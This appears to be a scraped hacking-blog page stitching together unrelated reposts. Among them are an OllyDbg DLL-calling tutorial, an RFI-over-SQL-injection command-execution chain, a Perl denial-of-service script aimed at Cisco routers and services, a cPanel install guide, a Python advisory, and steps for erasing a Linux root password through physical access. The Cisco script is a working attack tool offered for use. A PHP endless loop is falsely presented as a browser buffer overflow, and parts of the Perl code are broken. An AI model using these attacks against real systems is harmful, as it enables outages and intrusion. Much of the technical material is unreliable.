IT_Solution for Learning

OllyDbg 1.10 can debug standalone DLLs. Windows is unable to launch DLL directly, so OllyDbg uses small executable named loaddll.exe. This program is kept as a packed resource. If file you are trying to open is a dynamic link library, OllyDbg automatically extracts loaddll.exe and starts it, passing library name as a parameter.
With the help of loaddll, you can call functions exported by debugged library. I will explain this feature on the example of Windows' API functions MessageBox and wsprintf that reside in USER32.DLL.

Example 1: MessageBox
1. Load DLL in the same way as ordinary .exe file. OllyDbg issues a warning:

Request to load DLL

Of course, we answer with "Yes". OllyDbg starts loaddll, loads library and pauses on a breakpoint that immediately preceeds the main window loop. This address is labelled as Firstbp. Then OllyDbg analyses DLL and displays its code. Note that Windows automatically execute DLL startup code when DLL is loaded into memory.

2. From the main menu, select "Debug|Call DLL export". The appearing dialog is non-modal, so you still have full access to all OllyDbg features. You can browse code and data, set breakpoints, modify memory and so on.

3. Select the function you want to call. We will begin with MessageBox. Note that this name is generic, in reality there are ASCII version MessageBoxA and UNICODE version MessageBoxW. Let's try with the second one. As we select it, rectangle to the right says: Number of arguments: 4. Analyzer determined that function ends with RET 10 and correctly recognized number of parameters. RET nnn is typical for functions that use PASCAL calling convention (parameters are passed on the stack, first parameter is pushed last, function removes parameters after call). Most Windows' API functions are PASCAL-style.

4. Set number of stack arguments. In our case this is not necessary, because OllyDbg already knows number of arguments in call to MessageBoxW. But, of course, you can override this decision anytime by clicking on the corresponding checkbox to the left.

5. Fill list of arguments. This dialog supports up to 10 stack parameters. Parameter is any valid expression that doesn't use registers. If operand points to memory, Dump window to the right from the argument displays contents of this memory. Loaddll.exe reserves 10 memory buffers, 1 K each, labelled as Arg1 .. Arg10, that you can freely use for any purpose. Additionally, dialog supports two pseudovariables: handle of parent window created by loaddll.exe and handle of loaddll's instance . For your convenience, when you use Call export for the first time, OllyDbg adds them to history lists.
MessageBoxW expects 4 parameters:

* handle of owner window. Here, we simply select ;
* address of UNICODE text in message box. Select Arg2 and press Enter. Dump displays contents of memory buffer in hexadecimal format. This buffer is initially filled with zeros. Right click on the Dump and choose "Text|UNICODE (32 chars)" presentation. Select first character and press Ctrl+E (or, alternatively, choose "Binary|Edit" from menu). In the appearing window, type "Text in box" or any other text to display;
* address of UNICODE title of message box. Select Arg3 and write "Box title" in UNICODE format to pointed memory;
* style of message box as a combination of MB_xxx constants. OllyDbg knows them, type here MB_OK|MB_ICONEXCLAMATION.

6. Set register arguments. Register arguments are seldom in exported functions. Nevertheless, OllyDbg support register arguments, too.

7. Select options. Hide on call means that dialog box should disappear from the screen when function executes. This option is useful when execution takes significant time, or if you set breakpoints. You can also close dialog manually. When called function finishes execution, OllyDbg will automatically reopen Call export. Pause after call means that debugged application will be paused after execution.
If everything is done correctly, dialog will look similar to this picture:

Before call

8. Call function by pressing Call.OllyDbg automatically backups all Dumps, verifies and calculates parameters and registers, removes dialog from the screen and then calls MessageBoxW. As expected, message box appears on the screen:

Message box

Bingo! Press OK. MessageBoxW returns and Call export reports success. Note that on return EAX contains 1. This is the numerical value of constant IDOK ("OK pressed"). This was simple, wasn't it?

Example 2: wsprintf
1. Select the function. I hope, Call export is still open? Like MessageBox, wsprintf also has two forms: ASCII wsprintfA and UNICODE wsprintfW. We will play with its ASCII form. As wsprintf accepts variable number of arguments, it uses C calling convention. Main difference from PASCAL is that it is the responsibility of calling code to clean stack from parameters after call. C functions end with RET and Analyzer is unable to determine number of arguments.

2. Set number of stack arguments. wsprintfA has variable number of arguments; how many - depends on format string. Let's try the following call:
wsprintf(Arg1,"arg3=%i, arg4=%08X",100,0x12345678);
As you see, we have 4 arguments, so click on checkbox "4".

3. Fill list of arguments.

* First argument is a buffer. Choose and change dump format to ASCII (32 chars);
* Second argument is format string. Choose and change dump to ASCII (32 chars). Select first character, press Ctrl+E (binary edit) and type format string in ASCII field;
* Third argument is a decimal constant 100. By default, OllyDbg assumes hexadecimal format. Decimal point at the end of the constant forces decimal;
* Fourth argument is a hexadecimal constant, just type it as is. OllyDbg accepts any form: 0x12345678, 12345678h or simply 12345678;

4. Call function. If everything is done correctly, you'll get the following result:

Result of call to wsprintfA

Highlighted characters in dump of Arg1 are those modified by call. In register EAX, wsprintf returns number of characters in output string: 0x17 (decimal 23.).

Details and sources
loaddll.exe is a compact Win32 application written in Assembler. Have a look at its source code here. Execution begins at START. loaddll gets command line, skips name of executable (must be taken into double quotes!), extracts path to DLL and passes it to LoadLibrary. On error, it places pointer to error message on fixed location and exits with code 0x1001. On success, it creates simple main window and pauses on Firstbp. This breakpoint is set by OllyDbg on startup.
All communication with OllyDbg is done through the 128-byte link area. This area must begin at address 0x420020 immediately after keyphrase. First several words contain addresses in loaddll.exe used by OllyDbg to set breakpoints and parameters, followed by address of function to call, contents of registers, number of arguments and arguments itself. Number of arguments is limited to 10. If argument is a pointer to memory, you can use 10 data buffers, 1 Kbyte each, named as Arg1, Arg2, ..., Arg10. These and some other names are exported and thus known to OllyDbg.
When loaddll passes main windows loop (WINLOOP), it constantly checks whether address of exported function in PROCADR is not 0. If this is the case, loaddll saves contents of ESP and EBP and pushes 16 zeros into stack. This is necessary to avoid crash if user specifies invalid number of arguments. Then it pushes arguments and sets registers. At address Prepatch there are 16 NOPs that you can use for small patches. If you need more space, you can jump to Patcharea 2 Kbytes long. Note that OllyDbg doesn't extract loaddll.exe from resources if file with this name already exists.
At CallDLL export is called. This command is followed by another 16 NOPs. Then routine saves modified registers and offset of ESP after call. If you supply invalid number of arguments to PASCAL-style function, OllyDbg will be able to report this error to you. Finally, loaddll restores ESP and EBP, zeroes PROCADR and breaks at INT3 at address Finished. When this point is reached, OllyDbg knows that execution is finished.
Treat LOADDLL.ASM as a freeware. I will not protest if you use this program as whole or in parts (without copyright) in your own programs. But do not dare to use the Green Bug (LOADDLL.RC) in projects not related to OllyDbg! That's all for now, enjoy!

thanks for TheOrb666

reference:hackforums.net

• Stumble This!
• Mark as Delicious!
• Bookmark on Facebook!
• Tweet This!

first im just try to studied my friends about php, n suddenly my program make a browser hang or not responding...n i think this buffer overflow on mozilla 3.5.8

now, i will give a little script

################
# DEVILZC0DE #
################

#author : kiddies A.K.A peneter
#email : crasher_1412@yahoo.com
#thanks :mywisdom,gunslinger_,flyff666,petimati,whitehat,weinkaru,and all
#thank : my girl(vhee was beside me, if im so confuse)

save this, run it in your localhost:

$buffer=1;

while ($buffer > 0) {
echo $buffer;
}
?>

An amusing attack was demonstrated in the course of the last penetration testing. It is a good example of practical application of Cross-Site Scripting. We had the following situation:

- User segment with an attacker (me) operating from it;
- Technological network with strictly restricted outgoing traffic;
- A web application in the technological network that is vulnerable to Remote File Including (RFI);
- A web application in the technological network that is vulnerable to SQL Injection.

SQL Injection per se didn’t allow us to exploit any useful threats and develop the attack (here it is, the dreadful effect of privilege minimization!). We also could not use the RFI vulnerability, because the traffic outgoing from the technological segment to the user segment and to the external environment was strictly restricted. For the purpose of exploitation of the RFI vulnerability, a chain like the following one was implemented:

http:///?param=http:///?param=1+union+select+''&cmd=passthru('ls');

That is, each of these tree vulnerabilities taken separately was useless. Only when they were combined for the common good purpose, they allowed us to exploit an information security threat, which was execution of arbitrary commands on the server :)

All in all, there is nothing supernatural here, but I found this attack to be rather amusing...

reference:http://ptresearch.blogspot.com/2010/01/rfi-over-sql-injectioncross-site.html

• Stumble This!
• Mark as Delicious!
• Bookmark on Facebook!
• Tweet This!

#!/usr/bin/perl -w

#############################
#Cisco Router DOS collection#
# Devilzc0de Framework v.01 #
#############################

#thanks:mywisdom,gunslinger,flyff666,petimati n you!!
#programmer : kiddies A.K.A peneter
#Email : crasher_1412@yahoo.com or peneter@yahoo.com
#community thanks : Devilzc0de,jasakom,whitecyber,antijasakom and all i ve joined

use Socket;
use IO::Socket;


$host = "";
$pilih = "";
$host = @ARGV[ 0 ];
$pilih = @ARGV[ 1 ];

if ($host eq "") {
usage();
}
if ($pilih eq "") {
usage();
}
if ($pilih eq "1") {
cisco1();
}
elsif ($pilih eq "2") {
cisco2();
}
elsif ($pilih eq "3") {
cisco3();
}
elsif ($pilih eq "4") {
cisco4();
}
elsif ($pilih eq "5") {
cisco5();
}
elsif ($pilih eq "6") {
cisco6();
}
elsif ($pilih eq "7") {
cisco7();
}
elsif ($pilih eq "8") {
cisco8();
}
elsif ($pilih eq "9") {
cisco9();
} else {
printf "\ninvalid number....\n\n";
exit(1);
}

sub usage
{
print "\n Cisco Dos Exploits \n";
print "\n Devilzc0de Framework Dos v.0.1\n";
print "\nProgrammer :: kiddies A.K.A peneter\n";
printf"\n";
printf "\nUsage :: Cisco.pl \n";
printf "\nExploits Module :\n";
printf "[1] - Cisco IOS Router Denial of Service Vulnerability\n";
printf "[2] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
printf "[3] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
printf "[4] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
printf "[5] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
printf "[6] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";
printf "[7] - Cisco IOS HTTP Denial of Service Vulnerability\n";
exit(1);
}
sub cisco1 # Cisco IOS Router Denial of Service Vulnerability
{
my $serv = $host;

my $sockd = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd){die "No http server detected on $serv ...\n\n"};
$sockd->autoflush(1);
print $sockd "GET /\%\% HTTP/1.0\n\n";
-close $sockd;
print "Packet sent ...\n";
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
close($sockd2);
exit(1);
}
sub cisco2 # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
{
my $serv = $host;
my $port = 22;
my $vuln = "a%a%a%a%a%a%a%";

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No ssh server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
close($sockd);
exit(1);
}

sub cisco3 # Cisco 675 Web Administration Denial of Service Vulnerability
{
my $serv = $host;
my $port = 80;
my $vuln = "GET ? HTTP/1.0\n\n";

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
close($sockd);
exit(1);
}
sub cisco4 # Cisco IOS Software HTTP Request Denial of Service Vulnerability
{
my $serv = $host;
my $port = 80;
my $vuln = "GET /error?/ HTTP/1.0\n\n";

my $sockd = IO::Socket::INET->new (
PeerAddr => $serv,
PeerPort => $port,
Proto => "tcp")
|| die "No http server detected on $serv ...\n\n";

print "Packet sent ...\n";
print $sockd "$vuln";
sleep(2);
print "\nServer response :\n\n";
while (<$sockd>){print}
close($sockd);
exit(1);
}

sub cisco5 # Cisco 514 UDP Flood Denial of Service Vulnerability
{
my $ip = $host;
my $port = "514";
my $ports = "";
my $size = "";
my $i = "";
my $string = "%%%%%XX%%%%%";

print "Input packets size : ";
$size = ;
chomp($size);

socket(SS, PF_INET, SOCK_DGRAM, 17);
my $iaddr = inet_aton("$ip");

for ($i=0; $i<10000; $i++)
{ send(SS, $string, $size, sockaddr_in($port, $iaddr)); }

printf "\nPackets sent ...\n";
sleep(2);
printf "Please enter a server's open port : ";
$ports = ;
chomp $ports;
printf "\nNow checking server status ...\n";
sleep(2);

socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n";
my $dest = sockaddr_in ($ports, inet_aton($ip));
connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n";

printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n";
exit(1);
}

sub cisco6 # CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
{
my $ip = $host;
my $vln = "%%%%%XX%%%%%";
my $num = 30000;
my $string .= $vln x $num;
my $shc="\015\012";

my $sockd = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $ip,
PeerPort => "(2002)",
) || die "Unable to connect to $ip:2002 ...\n\n";

$sockd->autoflush(1);
print $sockd "$string" . $shc;
while (<$sockd>){ print }
print "Packet sent ...\n";
close($sockd);
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>"(2002)",);
unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
exit(1);
}
sub cisco7 # Cisco IOS HTTP server DoS Vulnerability
{
my $serv = $host;
my $vuln = "GET /TEST?/ HTTP/1.0";

my $sockd = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd){die "No http server detected on $serv ...\n\n"};

print $sockd "$vuln\n\n";
print "Packet sent ...\n";
close($sockd);
sleep(1);
print("Now checking server's status ...\n");
sleep(2);

my $sockd2 = IO::Socket::INET->new (
Proto=>"tcp",
PeerAddr=>$serv,
PeerPort=>"http(80)",);
unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
close($sockd2);
exit(1);
}

try this ok....if error contact me

Lets start giving some use to all our VPS servers, lets install a trial or a final license of Cpanel.

If you want a cpanel license you can get 1 for $ 12 / month or 70/month for a 10 pack. You should contact Aaron Conklin at custom.orders@ev1servers.net

In case you want a trial licence for cpanel you should go to : http://www.cpanel.net/store/

Ok. Few Steps to setup your VPS-CPANEL:

1 - Login to your VZMC and get inside your server
2 - Create a new VPS with the Sample Ve Config call vps.cpanel
3 - Select the ips you want to use in that VPS and the dns servers.
4 - Select RedHat Enterprise Template (not minimal)
5 - Dont select any addon.You dont need it for cpanel.
6 - Select the Space / Memory / CPU . All the normal stuff of your normal VPS. Put Start on boot and the rest of the normal stuff. Rememeber to use unlimited VPs.
7 - Go to your Ev1 Member section, open a ticket with your IP / and root password and request ev1 to get your VPS register in up2date. CHECK IT IF IT IS WELL CONFIGURE!! JUST IN CASE.
8 - Go in ssh and do the following steps:
mkdir /home/cpins
cd /home/cpins
wget http://layer1.cpanel.net/latest
sh latest


Article provided by WebHostGear.com

This should install cpanel without asking you any questions.

If you have any problems you should check: http://www.cpanel.net/install.html

9 - Login to : https://xxx.xxx.xxx.xxx:2087 and setup your server.
If you never setup a cpanel server, you can find some usefull information here: http://www.cpanel.net/docs.htm or search ev1 forum or ask me. I will be happy to help.

Well. Hopefully for some of you was usefull and will give you something else to try/offer in your VPS server.

Btw, it needs atleast 128 MB for cpanel to work.

If you have any problems with the guide let me know.

carlos

ps: i talk to some sw-soft people and they recomend to enable second-level quota (QUOTAUGIDLIMIT), i didnt try it myself. But i will let everyone when i try it.

Thanks to theuruguayan on the devilzc0de forums

reference:http://www.webhostgear.com/208.html

Python Security Advisory


Advisory ID: PSF-2006-001
Issue Date: October 12, 2006
Product: Python
Versions: 2.2, 2.3 prior to 2.3.6, 2.4 prior to 2.4.4, wide unicode (UCS-4) builds only
CVE Names: CAN-2006-4980

Python is an interpreted, interactive, object-oriented programming language. It is often compared to Tcl, Perl, Scheme or Java.

The Python development team has discovered a flaw in the repr() implementation of Unicode string objects which can lead to execution of arbitrary code due to an overflow in a buffer allocated with insufficient size.

The flaw only manifests itself in Python builds configured to support UCS-4 Unicode strings (using the --enable-unicode=ucs4 configure flag). This is still not the default, which is why the vulnerability should not be present in most Python builds out there, especially not the builds for the Windows or Mac OS X platform provided by www.python.org.

You can find out whether you are running a UCS-4 enabled build by looking at the sys.maxunicode attribute: it is 65535 in a UCS-2 build and 1114111 in a UCS-4 build.

More information can be found in this posting to the python-dev mailing list: http://mail.python.org/pipermail/python-dev/2006-October/069260.html

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2006-4980 to this issue.

Python 2.4.4 and Python 2.3.6 are available from www.python.org and contain a fix for this issue. Python 2.5 also contains the fix and is not vulnerable.

Patches for Python 2.2, 2.3 and 2.4 are also immediately available:

* http://python.org/files/news/security/PSF-2006-001/patch-2.3.txt (Python 2.2, 2.3)
* http://python.org/files/news/security/PSF-2006-001/patch-2.4.txt (Python 2.4)

Acknowledgement: thanks to Benjamin C. Wiley Sittler for discovering this issue.

reference:python.org

You have lost your root password on your linux box and now you consider formatting
everythign to regain control? Your admin is a moron that leaves the server available
physically for everybody? You wanna test your Linux box? Don’t worry if you have at least
a floppy rescue disk under hand,you can root it ;-) )

The problem with the new version of Linux since 6.2 is :

a)the shadow suit that is installed by default (masking the password in the shadow file)

b)the md5 encryption ( 34 characters vs 13 for standard DES) so it’s not as easy as it was
in teh previous versions i.e. to simply get the /etc/passwd file and running JtR against it
doesn’t work anymore.

What to do now? Follow the guide :

1- Boot with a rescue disk

2- type the appropriate key to get into rescue mode (ex.F4)

3- linux rescue (to get into this mode)

4- $ mknod /dev/hda (to create a virtual HD)

* * * N o t e * * *

If you have more than one partition on your HD, check which one is the Linux partition:

A- $ fdisk /dev/hda

B-( fdisk) : p (to show the current partitions) : m (for commands)

5- $ mknod /dev/hda2 ( create the partition2 device if you have a DOS partition as primary
partition for example)

6- $ mkdir /data (to create a virtual directory in the RAM drive)

7- $ mount -t ext2 /dev/hda2 /data ( to mount the files in the virtual dir located in the
RAM drive)

8-$ cd /data/etc

9- $ chmod 700 /data/etc/shadow
or $ chmod u+w /data/etc/shadow ( to gain write access on the shadow file)

10-$ /data/bin/vi /data/etc/shadow (to edit the shadow file with VI editor)

11- type i to insert then remove the root password by positionning the cursor on the
characters and type the x key

12- type escape key then ” : ”

13- save the file with : wq!

At this point, everything you have done is in RAM and nothing is done on the HD so DON’T
REBOOT YET!!

14- $ cd / (to return back to /)

15- $ umount /data

16- $ init 0 (rebooting the system)

Now you can log in as root; there is no password protecting root anymore.

Take care everyone, Just1ce.

reference:http://www.exploitx.com/69/rooting-linux-with-a-floppy/